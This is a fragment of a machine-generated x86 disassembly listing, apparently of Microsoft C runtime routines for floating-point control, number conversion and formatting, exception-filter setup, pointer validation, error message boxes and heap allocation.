mov eax, ebx
and eax, 0FFh
jmp short loc_42480E
sub_4247BF endp
; =============== S U B R O U T I N E =======================================
sub_42482D proc near ; CODE XREF: sub_421E16+52p
xor eax, eax
retn
sub_42482D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424830 proc near ; CODE XREF: sub_424865+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42487B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42490D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424830 endp
; =============== S U B R O U T I N E =======================================
sub_424865 proc near ; CODE XREF: sub_422102+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424830
pop ecx
pop ecx
retn
sub_424865 endp
; =============== S U B R O U T I N E =======================================
sub_42487B proc near ; CODE XREF: sub_424830+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42488C
push 10h
pop eax
loc_42488C: ; CODE XREF: sub_42487B+Cj
test bl, 4
jz short loc_424893
or al, 8
loc_424893: ; CODE XREF: sub_42487B+14j
test bl, 8
jz short loc_42489A
or al, 4
loc_42489A: ; CODE XREF: sub_42487B+1Bj
test bl, 10h
jz short loc_4248A1
or al, 2
loc_4248A1: ; CODE XREF: sub_42487B+22j
test bl, 20h
jz short loc_4248A8
or al, 1
loc_4248A8: ; CODE XREF: sub_42487B+29j
test bl, 2
jz short loc_4248B2
or eax, 80000h
loc_4248B2: ; CODE XREF: sub_42487B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4248EA
cmp edx, 400h
jz short loc_4248E7
cmp edx, 800h
jz short loc_4248E3
cmp edx, esi
jnz short loc_4248EA
or eax, edi
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E3: ; CODE XREF: sub_42487B+5Ej
or eax, ebp
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E7: ; CODE XREF: sub_42487B+56j
or ah, 1
loc_4248EA: ; CODE XREF: sub_42487B+4Ej
; sub_42487B+62j ...
and ecx, edi
pop esi
jz short loc_4248FA
cmp ecx, ebp
jnz short loc_4248FF
or eax, 10000h
jmp short loc_4248FF
; ---------------------------------------------------------------------------
loc_4248FA: ; CODE XREF: sub_42487B+72j
or eax, 20000h
loc_4248FF: ; CODE XREF: sub_42487B+76j
; sub_42487B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42490C
or eax, 40000h
locret_42490C: ; CODE XREF: sub_42487B+8Aj
retn
sub_42487B endp
; =============== S U B R O U T I N E =======================================
sub_42490D proc near ; CODE XREF: sub_424830+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42491D
push 1
pop eax
loc_42491D: ; CODE XREF: sub_42490D+Bj
test bl, 8
jz short loc_424924
or al, 4
loc_424924: ; CODE XREF: sub_42490D+13j
test bl, 4
jz short loc_42492B
or al, 8
loc_42492B: ; CODE XREF: sub_42490D+1Aj
test bl, 2
jz short loc_424932
or al, 10h
loc_424932: ; CODE XREF: sub_42490D+21j
test bl, 1
jz short loc_424939
or al, 20h
loc_424939: ; CODE XREF: sub_42490D+28j
test ebx, 80000h
jz short loc_424943
or al, 2
loc_424943: ; CODE XREF: sub_42490D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424970
cmp ecx, 100h
jz short loc_42496D
cmp ecx, esi
jz short loc_424968
cmp ecx, edx
jnz short loc_424970
or ah, 0Ch
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_424968: ; CODE XREF: sub_42490D+50j
or ah, 8
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_42496D: ; CODE XREF: sub_42490D+4Cj
or ah, 4
loc_424970: ; CODE XREF: sub_42490D+44j
; sub_42490D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424986
cmp ecx, 10000h
jnz short loc_424988
or eax, esi
jmp short loc_424988
; ---------------------------------------------------------------------------
loc_424986: ; CODE XREF: sub_42490D+6Bj
or eax, edx
loc_424988: ; CODE XREF: sub_42490D+73j
; sub_42490D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424995
or ah, 10h
locret_424995: ; CODE XREF: sub_42490D+83j
retn
sub_42490D endp
; =============== S U B R O U T I N E =======================================
sub_424996 proc near ; CODE XREF: sub_424A35+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4249DB
inc esi
cmp esi, 3
jge short loc_4249D6
lea eax, [eax+esi*4]
loc_4249C8: ; CODE XREF: sub_424996+3Ej
cmp dword ptr [eax], 0
jnz short loc_4249DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4249C8
loc_4249D6: ; CODE XREF: sub_424996+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4249DB: ; CODE XREF: sub_424996+27j
; sub_424996+35j
xor eax, eax
pop esi
retn
sub_424996 endp
; =============== S U B R O U T I N E =======================================
sub_4249DF proc near ; CODE XREF: sub_424A35+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
js short loc_424A31
lea edi, [ebx+esi*4]
loc_424A18: ; CODE XREF: sub_4249DF+50j
test eax, eax
jz short loc_424A31
push edi
push 1
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424A18
loc_424A31: ; CODE XREF: sub_4249DF+34j
; sub_4249DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4249DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A35 proc near ; CODE XREF: sub_424B90+81p
; sub_424B90+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424A99
inc ebx
push ebx
push [ebp+arg_0]
call sub_424996
pop ecx
test eax, eax
pop ecx
jnz short loc_424A96
push edi
push [ebp+arg_0]
call sub_4249DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424A96: ; CODE XREF: sub_424A35+51j
mov eax, [ebp+arg_4]
loc_424A99: ; CODE XREF: sub_424A35+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424AB9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424AB9: ; CODE XREF: sub_424A35+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424A35 endp
; =============== S U B R O U T I N E =======================================
sub_424AC1 proc near ; CODE XREF: sub_424B90+75p
; sub_424B90+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_424ACF: ; CODE XREF: sub_424AC1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_424ACF
pop esi
retn
sub_424AC1 endp
; =============== S U B R O U T I N E =======================================
sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp
; sub_424B90+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_424ADC endp
; =============== S U B R O U T I N E =======================================
sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_424AEE: ; CODE XREF: sub_424AE8+12j
cmp dword ptr [eax], 0
jnz short loc_424B00
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_424AEE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424B00: ; CODE XREF: sub_424AE8+9j
xor eax, eax
retn
sub_424AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B03 proc near ; CODE XREF: sub_424B90+C0p
; sub_424B90+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424B39: ; CODE XREF: sub_424B03+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424B39
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424B6B: ; CODE XREF: sub_424B03+86j
cmp ebx, edi
jl short loc_424B7E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424B85
; ---------------------------------------------------------------------------
loc_424B7E: ; CODE XREF: sub_424B03+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424B85: ; CODE XREF: sub_424B03+79j
dec ebx
sub ecx, 4
jns short loc_424B6B
pop edi
pop esi
pop ebx
leave
retn
sub_424B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp
; sub_424D12+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424BFD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424AE8
test eax, eax
pop ecx
jnz loc_424CBC
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
loc_424BF5: ; CODE XREF: sub_424B90+E4j
push 2
loc_424BF7: ; CODE XREF: sub_424B90+110j
pop eax
jmp loc_424CBE
; ---------------------------------------------------------------------------
loc_424BFD: ; CODE XREF: sub_424B90+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424AC1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
add esp, 10h
test eax, eax
jz short loc_424C1E
inc ebx
loc_424C1E: ; CODE XREF: sub_424B90+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424C36
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
jmp short loc_424C72
; ---------------------------------------------------------------------------
loc_424C36: ; CODE XREF: sub_424B90+98j
cmp ebx, eax
jg short loc_424C79
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424AC1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424B03
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424B03
add esp, 20h
loc_424C72: ; CODE XREF: sub_424B90+A4j
xor esi, esi
jmp loc_424BF5
; ---------------------------------------------------------------------------
loc_424C79: ; CODE XREF: sub_424B90+A8j
cmp ebx, [edi]
jl short loc_424CA5
lea eax, [ebp+var_C]
push eax
call sub_424ADC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424B03
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424BF7
; ---------------------------------------------------------------------------
loc_424CA5: ; CODE XREF: sub_424B90+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424B03
pop ecx
pop ecx
loc_424CBC: ; CODE XREF: sub_424B90+55j
xor eax, eax
loc_424CBE: ; CODE XREF: sub_424B90+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424CED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424CF7
; ---------------------------------------------------------------------------
loc_424CED: ; CODE XREF: sub_424B90+14Ej
cmp edi, 20h
jnz short loc_424CF7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424CF7: ; CODE XREF: sub_424B90+15Bj
; sub_424B90+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424B90 endp
; =============== S U B R O U T I N E =======================================
sub_424CFC proc near ; CODE XREF: sub_424D28+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D7F8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424CFC endp
; =============== S U B R O U T I N E =======================================
sub_424D12 proc near ; CODE XREF: sub_424D55+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D810
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D28 proc near ; CODE XREF: sub_42223B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424CFC
add esp, 24h
leave
retn
sub_424D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D12
add esp, 24h
leave
retn
sub_424D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D82 proc near ; CODE XREF: sub_422279+65p
; sub_42237D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424DBF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424DA5: ; CODE XREF: sub_424D82+38j
mov dl, [ecx]
test dl, dl
jz short loc_424DB1
movsx edx, dl
inc ecx
jmp short loc_424DB4
; ---------------------------------------------------------------------------
loc_424DB1: ; CODE XREF: sub_424D82+27j
push 30h
pop edx
loc_424DB4: ; CODE XREF: sub_424D82+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424DA5
mov edx, [ebp+arg_8]
loc_424DBF: ; CODE XREF: sub_424D82+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424DD8
cmp byte ptr [ecx], 35h
jl short loc_424DD8
loc_424DCB: ; CODE XREF: sub_424D82+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424DD6
mov byte ptr [eax], 30h
jmp short loc_424DCB
; ---------------------------------------------------------------------------
loc_424DD6: ; CODE XREF: sub_424D82+4Dj
inc byte ptr [eax]
loc_424DD8: ; CODE XREF: sub_424D82+42j
; sub_424D82+47j
cmp byte ptr [esi], 31h
jnz short loc_424DE2
inc dword ptr [edx+4]
jmp short loc_424DF4
; ---------------------------------------------------------------------------
loc_424DE2: ; CODE XREF: sub_424D82+59j
push edi
call sub_41B9C0
inc eax
push eax
push edi
push esi
call sub_41D670
add esp, 10h
loc_424DF4: ; CODE XREF: sub_424D82+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424D82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp
; sub_42237D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424E5D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBFB8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425973
mov dword_4DBFE0, eax
add esp, 18h
movsx eax, byte_4DBFBA
mov dword_4DBFD8, eax
pop edi
movsx eax, word_4DBFB8
mov dword_4DBFDC, eax
mov dword_4DBFE4, offset dword_4DBFBC
mov eax, offset dword_4DBFD8
pop esi
leave
retn
sub_424DF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E5D proc near ; CODE XREF: sub_424DF9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424EAB
cmp ebx, edi
jz short loc_424EA4
lea edi, [ecx+3C00h]
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EA4: ; CODE XREF: sub_424E5D+3Dj
mov edi, 7FFFh
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E5D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424EC3
cmp edx, ebx
jnz short loc_424EC3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424F0E
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E5D+52j
; sub_424E5D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424ECC: ; CODE XREF: sub_424E5D+45j
; sub_424E5D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424EE4: ; CODE XREF: sub_424E5D+A6j
test ecx, esi
jnz short loc_424F05
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424EE4
; ---------------------------------------------------------------------------
loc_424F05: ; CODE XREF: sub_424E5D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424F0E: ; CODE XREF: sub_424E5D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424E5D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E2C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424F1C proc near ; DATA XREF: sub_424F62o
; .data:0043D438o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424F3F
cmp dword ptr [eax+10h], 3
jnz short loc_424F3F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424F3F
jmp sub_422DFC
; ---------------------------------------------------------------------------
loc_424F3F: ; CODE XREF: sub_424F1C+Dj
; sub_424F1C+13j ...
mov eax, dword_4DBFE8
test eax, eax
jz short loc_424F5C
push eax
call sub_424FB8
test eax, eax
pop ecx
jz short loc_424F5C
push esi
call dword_4DBFE8
jmp short loc_424F5E
; ---------------------------------------------------------------------------
loc_424F5C: ; CODE XREF: sub_424F1C+2Aj
; sub_424F1C+35j
xor eax, eax
loc_424F5E: ; CODE XREF: sub_424F1C+3Ej
pop esi
retn 4
sub_424F1C endp
; =============== S U B R O U T I N E =======================================
sub_424F62 proc near ; DATA XREF: .data:00429024o
push offset sub_424F1C
call ds:dword_427010 ; SetUnhandledExceptionFilter
mov dword_4DBFE8, eax
retn
sub_424F62 endp
; =============== S U B R O U T I N E =======================================
sub_424F73 proc near ; DATA XREF: .data:0042903Co
push dword_4DBFE8
call ds:dword_427010 ; SetUnhandledExceptionFilter
retn
sub_424F73 endp
; =============== S U B R O U T I N E =======================================
sub_424F80 proc near ; CODE XREF: sub_422651+6Bp
; sub_422B62+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_42700C ; IsBadReadPtr
test eax, eax
jz short loc_424F98
xor esi, esi
loc_424F98: ; CODE XREF: sub_424F80+14j
mov eax, esi
pop esi
retn
sub_424F80 endp
; =============== S U B R O U T I N E =======================================
sub_424F9C proc near ; CODE XREF: sub_422B62+73p
; sub_422B62+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_427060 ; IsBadWritePtr
test eax, eax
jz short loc_424FB4
xor esi, esi
loc_424FB4: ; CODE XREF: sub_424F9C+14j
mov eax, esi
pop esi
retn
sub_424F9C endp
; =============== S U B R O U T I N E =======================================
sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp
; sub_424F1C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call ds:dword_427008 ; IsBadCodePtr
test eax, eax
jz short loc_424FCC
xor esi, esi
loc_424FCC: ; CODE XREF: sub_424FB8+10j
mov eax, esi
pop esi
retn
sub_424FB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DFC
loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj
push 0Ah
call sub_423DD1
push 16h
call sub_425C06
pop ecx
pop ecx
push 3
call sub_41C1A2
; END OF FUNCTION CHUNK FOR sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_424FE7 proc near ; CODE XREF: sub_42367B+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424FF8
add esp, 0Ch
retn
sub_424FE7 endp
; =============== S U B R O U T I N E =======================================
sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DD261[eax], cl
jnz short loc_425025
cmp [esp+arg_4], 0
jz short loc_42501E
movzx eax, word_43CE82[eax*2]
and eax, [esp+arg_4]
jmp short loc_425020
; ---------------------------------------------------------------------------
loc_42501E: ; CODE XREF: sub_424FF8+16j
xor eax, eax
loc_425020: ; CODE XREF: sub_424FF8+24j
test eax, eax
jnz short loc_425025
retn
; ---------------------------------------------------------------------------
loc_425025: ; CODE XREF: sub_424FF8+Fj
; sub_424FF8+2Aj
push 1
pop eax
retn
sub_424FF8 endp
; =============== S U B R O U T I N E =======================================
sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBFEC, ebx
push esi
push edi
jnz short loc_425078
push offset aUser32_dll ; "user32.dll"
call ds:dword_4270C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4250AE
mov esi, ds:dword_4270C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_4DBFEC, eax
jz short loc_4250AE
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBFF0, eax
call esi ; GetProcAddress
mov dword_4DBFF4, eax
loc_425078: ; CODE XREF: sub_425029+Bj
mov eax, dword_4DBFF0
test eax, eax
jz short loc_425097
call eax
mov ebx, eax
test ebx, ebx
jz short loc_425097
mov eax, dword_4DBFF4
test eax, eax
jz short loc_425097
push ebx
call eax
mov ebx, eax
loc_425097: ; CODE XREF: sub_425029+56j
; sub_425029+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBFEC
loc_4250AA: ; CODE XREF: sub_425029+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4250AE: ; CODE XREF: sub_425029+1Cj
; sub_425029+33j
xor eax, eax
jmp short loc_4250AA
sub_425029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250B2 proc near ; CODE XREF: sub_42413E+22p
; sub_42413E+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4250D3
test esi, esi
jnz short loc_4250CD
push 1
pop esi
loc_4250CD: ; CODE XREF: sub_4250B2+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4250D3: ; CODE XREF: sub_4250B2+12j
; sub_4250B2+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425132
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_4250FE
mov eax, [ebp+arg_0]
cmp eax, dword_4DD380
ja short loc_42511D
push eax
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425148
jmp short loc_42511D
; ---------------------------------------------------------------------------
loc_4250FE: ; CODE XREF: sub_4250B2+30j
cmp eax, 2
jnz short loc_42511D
cmp esi, dword_43CE74
ja short loc_42511D
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42515C
loc_42511D: ; CODE XREF: sub_4250B2+3Bj
; sub_4250B2+4Aj ...
push esi
push 8
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_425156
loc_425132: ; CODE XREF: sub_4250B2+26j
cmp dword_4DBE48, 0
jz short loc_425156
push esi
call sub_41FBB2
test eax, eax
pop ecx
jz short loc_42515F
jmp short loc_4250D3
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250B2+48j
push [ebp+arg_0]
loc_42514B: ; CODE XREF: sub_4250B2+ABj
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_425156: ; CODE XREF: sub_4250B2+7Ej
; sub_4250B2+87j
mov eax, edi
